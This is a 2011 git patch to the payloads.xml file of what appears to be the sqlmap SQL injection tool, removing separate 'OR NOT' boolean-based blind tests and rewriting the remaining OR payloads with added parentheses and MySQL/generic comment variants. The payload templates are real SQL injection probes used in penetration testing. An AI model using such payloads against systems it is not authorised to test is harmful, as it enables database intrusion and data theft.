From 0764c4c752e7ae76401626787f6262cb44b488f3 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Thu, 21 Apr 2011 23:32:53 +0000
Subject: [PATCH] parenthesis were missing; banning OR NOT from payloads

---
 xml/payloads.xml | 71 ++++++------------------------------------------
 1 file changed, 9 insertions(+), 62 deletions(-)

diff --git a/xml/payloads.xml b/xml/payloads.xml
index 1f5575973..9b42f2a6f 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -503,22 +503,6 @@ Formats:
         </response>
     </test>
 
-   <test>
-        <title>OR NOT boolean-based blind - WHERE or HAVING clause</title>
-        <stype>1</stype>
-        <level>2</level>
-        <risk>3</risk>
-        <clause>1</clause>
-        <where>2</where>
-        <vector>OR NOT [INFERENCE]</vector>
-        <request>
-            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
-        </request>
-        <response>
-            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
-        </response>
-    </test>
-
    <test>
         <title>OR boolean-based blind - WHERE or HAVING clause</title>
         <stype>1</stype>
@@ -526,35 +510,15 @@ Formats:
         <risk>3</risk>
         <clause>1</clause>
         <where>2</where>
-        <vector>OR [INFERENCE]</vector>
+        <vector>OR NOT ([INFERENCE])</vector>
         <request>
-            <payload>OR [RANDNUM]=[RANDNUM]</payload>
+            <payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
         </request>
         <response>
-            <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
+            <comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
         </response>
     </test>
 
-    <test>
-        <title>OR NOT boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
-        <stype>1</stype>
-        <level>3</level>
-        <risk>3</risk>
-        <clause>1</clause>
-        <where>2</where>
-        <vector>OR NOT [INFERENCE]</vector>
-        <request>
-            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
-            <comment>#</comment>
-        </request>
-        <response>
-            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
-        </response>
-        <details>
-            <dbms>MySQL</dbms>
-        </details>
-    </test>
-
     <test>
         <title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>
         <stype>1</stype>
@@ -562,36 +526,19 @@ Formats:
         <risk>3</risk>
         <clause>1</clause>
         <where>2</where>
-        <vector>OR [INFERENCE]</vector>
+        <vector>OR NOT ([INFERENCE])</vector>
         <request>
-            <payload>OR [RANDNUM]=[RANDNUM]</payload>
+            <payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
             <comment>#</comment>
         </request>
         <response>
-            <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
+            <comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
         </response>
         <details>
             <dbms>MySQL</dbms>
         </details>
     </test>
 
-    <test>
-        <title>OR NOT boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
-        <stype>1</stype>
-        <level>3</level>
-        <risk>3</risk>
-        <clause>1</clause>
-        <where>2</where>
-        <vector>OR NOT [INFERENCE]</vector>
-        <request>
-            <payload>OR NOT [RANDNUM]=[RANDNUM]</payload>
-            <comment>--</comment>
-        </request>
-        <response>
-            <comparison>OR NOT [RANDNUM]=[RANDNUM1]</comparison>
-        </response>
-    </test>
-
     <test>
         <title>OR boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
         <stype>1</stype>
@@ -599,13 +546,13 @@ Formats:
         <risk>3</risk>
         <clause>1</clause>
         <where>2</where>
-        <vector>OR [INFERENCE]</vector>
+        <vector>OR NOT ([INFERENCE])</vector>
         <request>
-            <payload>OR [RANDNUM]=[RANDNUM]</payload>
+            <payload>OR NOT ([RANDNUM]=[RANDNUM])</payload>
             <comment>--</comment>
         </request>
         <response>
-            <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
+            <comparison>OR NOT ([RANDNUM]=[RANDNUM1])</comparison>
         </response>
     </test>